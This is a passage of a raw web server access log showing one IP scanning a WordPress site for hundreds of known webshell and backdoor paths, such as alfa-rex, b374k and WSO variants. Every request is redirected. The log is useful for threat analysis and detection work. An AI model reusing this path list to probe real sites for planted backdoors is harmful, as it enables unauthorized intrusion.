AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.179.11.239 - - [12/Apr/2025:14:33:32 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [12/Apr/2025:14:33:32 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.179.11.239 - - [12/Apr/2025:14:33:32 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [12/Apr/2025:14:33:32 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.179.11.239 - - [12/Apr/2025:14:33:33 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [12/Apr/2025:14:33:33 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.179.11.239 - - [12/Apr/2025:14:33:33 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 20.14.154.215 - - [12/Apr/2025:14:33:33 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 52.179.11.239 - - [12/Apr/2025:14:33:33 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:34 -0400] "GET /wp-includes/css/core.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:35 -0400] "GET /wp-content/user/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:35 -0400] "GET /wp-content/plugins/config HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:35 -0400] "GET /cgi-bin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:36 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:36 -0400] "GET /wp-includes/sitemaps/providers/class-wp-sitemaps-admin.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:37 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:37 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:37 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:38 -0400] "GET /site/wp-content/plugins/hmdqckh/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:38 -0400] "GET /sleepster/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:38 -0400] "GET /wp-content/plugins/carousel-slider/assets/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:39 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:40 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:40 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:40 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:41 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:41 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:41 -0400] "GET /wp-includes/js/crop/mart.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:42 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:42 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:42 -0400] "GET /120f9.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:43 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:43 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:43 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:44 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:44 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:45 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:45 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:45 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:46 -0400] "GET /review.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:46 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:46 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:47 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:47 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:48 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:48 -0400] "GET /wp-content/plugins/vjeqbbj/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:50 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:51 -0400] "GET /wp-admin/js//wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:51 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:52 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:53 -0400] "GET /wizard.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:53 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:54 -0400] "GET /wp-content/plugins/wp-hps/sh/b374k.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:54 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:54 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:55 -0400] "GET /wp-content/uploads/BbUMY/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:55 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:56 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:56 -0400] "GET /query.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:56 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:57 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:58 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:59 -0400] "GET /wp-content/themes/f25zgwig/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:33:59 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:01 -0400] "GET /wp-content/plugins/wordfence/js/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:02 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:03 -0400] "GET /test/maxitest_v3/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:04 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:06 -0400] "GET /wp-includes/eew.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:06 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:07 -0400] "GET /wp-admin/themes/setup HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:07 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:07 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:08 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:08 -0400] "GET /wp-content/upgrade/pdf.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:08 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:09 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:09 -0400] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:10 -0400] "GET /wp-content/languages/index.php.suspected HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:10 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:10 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:11 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:11 -0400] "GET /products/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:12 -0400] "GET /wp-admin/setup HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:13 -0400] "GET /wp-content/plugins/dzs-zoomsounds/error_log_1210678535.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:13 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:14 -0400] "GET /permissions.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:14 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:15 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:15 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:16 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:16 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:17 -0400] "GET /gawean.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:17 -0400] "GET /wp-includes/fonts/log404.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:18 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:18 -0400] "GET /wp-includes/css/dist/components/admin.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:19 -0400] "GET /download.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:19 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:20 -0400] "GET /test.php7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:20 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:20 -0400] "GET /yanz.php/wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:21 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:21 -0400] "GET /.well-known/bek.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:21 -0400] "GET /spam.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:22 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:22 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:22 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:23 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:23 -0400] "GET /pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:23 -0400] "GET /.well-known/pki-validation/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:23 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:24 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:24 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:25 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:25 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:25 -0400] "GET /wp-includes/js/jquery/ui/3k0sm2/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:26 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:26 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:27 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:28 -0400] "GET /update/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:28 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:28 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:29 -0400] "GET /wp-content/themes/about HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:30 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:30 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:31 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:31 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:33 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:34 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:34 -0400] "GET /wp-content/plugins/urawmub/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:35 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:36 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:37 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:38 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:38 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:39 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:40 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:41 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:41 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:42 -0400] "GET /wp-content/plugins/fix/3.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:42 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:43 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:43 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:43 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:44 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:44 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:45 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:45 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:46 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:47 -0400] "GET /wp-includes/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:47 -0400] "GET /wp-content/plugins/imfrxbc/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:48 -0400] "GET /wp-content/themes/fag0z08y/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:48 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:49 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:50 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:51 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:52 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:54 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:55 -0400] "GET /html_editor.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:55 -0400] "GET /wp-content/plugins/qvkwtfvfez/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:56 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:57 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:57 -0400] "GET /ccx/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:58 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:58 -0400] "GET /wp/wp-admin/wp-setup.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:59 -0400] "GET /images/partner/partner/images/imgs/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:34:59 -0400] "GET /wp/wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:00 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:01 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:02 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:03 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:03 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:05 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:08 -0400] "GET /wp-content/plugins/aezvzos/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:11 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:13 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:18 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:21 -0400] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:25 -0400] "GET /php_editor.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:27 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:28 -0400] "GET /wp-admin/plugins/init HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:30 -0400] "GET /wp-content/uploads/2016/03/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:31 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:34 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:37 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:39 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:41 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:43 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:49 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:55 -0400] "GET /wp-includes/assets/XeRzQ.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:35:59 -0400] "GET /alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:02 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:04 -0400] "GET /wp-content/uploads/js_composer/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:06 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:09 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:11 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:14 -0400] "GET /wp-content/themes/tk9zgum9/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:18 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:20 -0400] "GET /.well-known/setup HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:23 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:24 -0400] "GET /wp-content/plugins/wp-mail-smtp/src/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:26 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:28 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:29 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:31 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:31 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:32 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:32 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:34 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:35 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:38 -0400] "GET /wp-content/themes/krs2kdwa/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:40 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:42 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:44 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:46 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:47 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:48 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 52.179.11.239 - - [12/Apr/2025:14:36:50 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 